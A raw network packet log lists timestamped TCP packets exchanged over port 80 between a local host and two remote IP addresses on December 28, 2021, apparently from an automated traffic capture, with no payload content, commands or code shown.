Dec 28, 2021 05:18:52.413891077 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413929939 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.413945913 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.413968086 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414006948 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414045095 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414063931 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414086103 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414100885 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414125919 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414161921 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414191008 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414200068 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414238930 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414274931 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414277077 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414313078 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414350033 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414388895 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414392948 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414429903 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414438009 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414467096 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414505959 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414513111 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414544106 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414572954 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414603949 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414643049 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414680958 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414716959 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414736032 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414748907 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414755106 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.414781094 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414820910 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.414931059 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.482496023 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.038130045 CET	49777	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.102560997 CET	80	49777	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.102734089 CET	49777	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.102786064 CET	49777	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.104909897 CET	49777	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.166749954 CET	80	49777	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.168344021 CET	80	49777	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.214426994 CET	80	49777	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.214591026 CET	49777	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.214704990 CET	49777	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.241039991 CET	49778	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.278218031 CET	80	49777	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.311454058 CET	80	49778	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.311546087 CET	49778	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.311641932 CET	49778	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.314295053 CET	49778	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.382122040 CET	80	49778	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.385171890 CET	80	49778	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.438278913 CET	80	49778	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.438379049 CET	49778	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.463037968 CET	49778	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.492961884 CET	49779	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.533406973 CET	80	49778	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.556308985 CET	80	49779	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.556411028 CET	49779	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.556508064 CET	49779	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.556533098 CET	49779	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.619328976 CET	80	49779	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.677180052 CET	80	49779	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.677264929 CET	49779	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.677428007 CET	49779	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.740298033 CET	80	49779	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.791444063 CET	49780	80	192.168.2.3	54.38.220.85
Dec 28, 2021 05:18:54.809221983 CET	80	49780	54.38.220.85	192.168.2.3
Dec 28, 2021 05:18:54.809331894 CET	49780	80	192.168.2.3	54.38.220.85
Dec 28, 2021 05:18:54.809417009 CET	49780	80	192.168.2.3	54.38.220.85
Dec 28, 2021 05:18:54.827315092 CET	80	49780	54.38.220.85	192.168.2.3
Dec 28, 2021 05:18:54.827373981 CET	80	49780	54.38.220.85	192.168.2.3
Dec 28, 2021 05:18:54.880023956 CET	49780	80	192.168.2.3	54.38.220.85
Dec 28, 2021 05:18:54.880228043 CET	49781	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.947112083 CET	80	49781	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:54.947333097 CET	49781	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.947427034 CET	49781	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:54.947448969 CET	49781	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.014884949 CET	80	49781	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.064685106 CET	80	49781	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.064805031 CET	49781	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.064870119 CET	49781	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.103358030 CET	49782	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.134685993 CET	80	49781	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.167920113 CET	80	49782	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.168236017 CET	49782	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.168279886 CET	49782	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.168339968 CET	49782	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.231188059 CET	80	49782	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.285271883 CET	80	49782	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.285387993 CET	49782	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.285425901 CET	49782	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.348305941 CET	80	49782	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.581317902 CET	49783	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.644886017 CET	80	49783	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.644994020 CET	49783	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.645113945 CET	49783	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.645144939 CET	49783	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.708631992 CET	80	49783	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.786744118 CET	80	49783	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:55.787058115 CET	49783	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.787276030 CET	49783	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:55.850713015 CET	80	49783	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:57.923405886 CET	49786	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:57.993815899 CET	80	49786	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:57.993925095 CET	49786	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:57.994065046 CET	49786	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:57.994088888 CET	49786	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.064368010 CET	80	49786	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.111469984 CET	80	49786	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.111605883 CET	49786	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.111746073 CET	49786	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.138562918 CET	49787	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.182110071 CET	80	49786	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.205665112 CET	80	49787	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.205765963 CET	49787	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.205894947 CET	49787	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.205975056 CET	49787	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.272921085 CET	80	49787	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.323771954 CET	80	49787	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.324021101 CET	49787	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.361077070 CET	49787	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.428173065 CET	80	49787	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.698455095 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.764820099 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.764944077 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.765095949 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.861063957 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861129045 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861169100 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861207962 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861246109 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861269951 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.861284971 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861313105 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.861331940 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861346006 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.861371040 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861408949 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861448050 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.861470938 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.861510038 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.927498102 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927558899 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927598953 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927640915 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927679062 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927685022 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.927719116 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927726984 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.927758932 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927781105 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.927795887 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927826881 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927858114 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927891016 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.927900076 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927937984 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.927938938 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.927975893 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.928014994 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.928033113 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.928050995 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.928092003 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.928106070 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.928132057 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.928168058 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.928186893 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.928205967 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.928246021 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.928263903 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.931204081 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.994271994 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994333982 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994374037 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994412899 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994415045 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.994452953 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994477034 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.994493008 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994533062 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994549990 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.994570017 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994610071 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994626045 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.994652033 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994689941 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994709015 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.994729042 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994770050 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994808912 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994848967 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994867086 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.994877100 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994916916 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994956017 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.994981050 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.994992971 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995012999 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995033026 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995070934 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995088100 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995110035 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995148897 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995171070 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995184898 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995223045 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995238066 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995263100 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995300055 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995337963 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995354891 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995377064 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995393991 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995417118 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995456934 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995492935 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995516062 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995532036 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995551109 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995569944 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995606899 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995656013 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.995659113 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995701075 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995739937 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.995760918 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.997042894 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.997086048 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:58.997113943 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:58.997143984 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.061764002 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.061825037 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.061868906 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.061901093 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.061906099 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.061947107 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.061961889 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.061986923 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062025070 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062050104 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062063932 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062103987 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062143087 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062182903 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062200069 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062221050 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062238932 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062259912 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062278032 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062299013 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062336922 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062371969 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062375069 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062412977 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062427998 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062450886 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062490940 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062526941 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062566996 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062570095 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062604904 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062609911 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062649965 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062664986 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062689066 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062727928 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062741995 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062767029 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062808037 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062823057 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062844992 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062884092 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062897921 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.062922955 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062958956 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.062999010 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063036919 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063060045 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.063075066 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063114882 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063127995 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.063152075 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063189983 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063204050 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.063229084 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063270092 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063277960 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.063316107 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063354015 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063370943 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.063393116 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063432932 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063466072 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.063468933 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063508034 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063546896 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063570023 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.063582897 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063610077 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.063621998 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063664913 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.063674927 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.114656925 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.129607916 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.129688978 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.129729033 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.129767895 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.129806995 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.129848003 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.129858017 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.129887104 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.129906893 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.129925966 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.129966974 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130007029 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130036116 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130044937 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130064011 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130084038 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130121946 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130160093 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130177021 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130201101 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130237103 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130275011 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130281925 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130301952 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130314112 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130351067 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130389929 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130426884 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130449057 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130465031 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130505085 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130521059 CET	49788	80	192.168.2.3	5.188.89.48
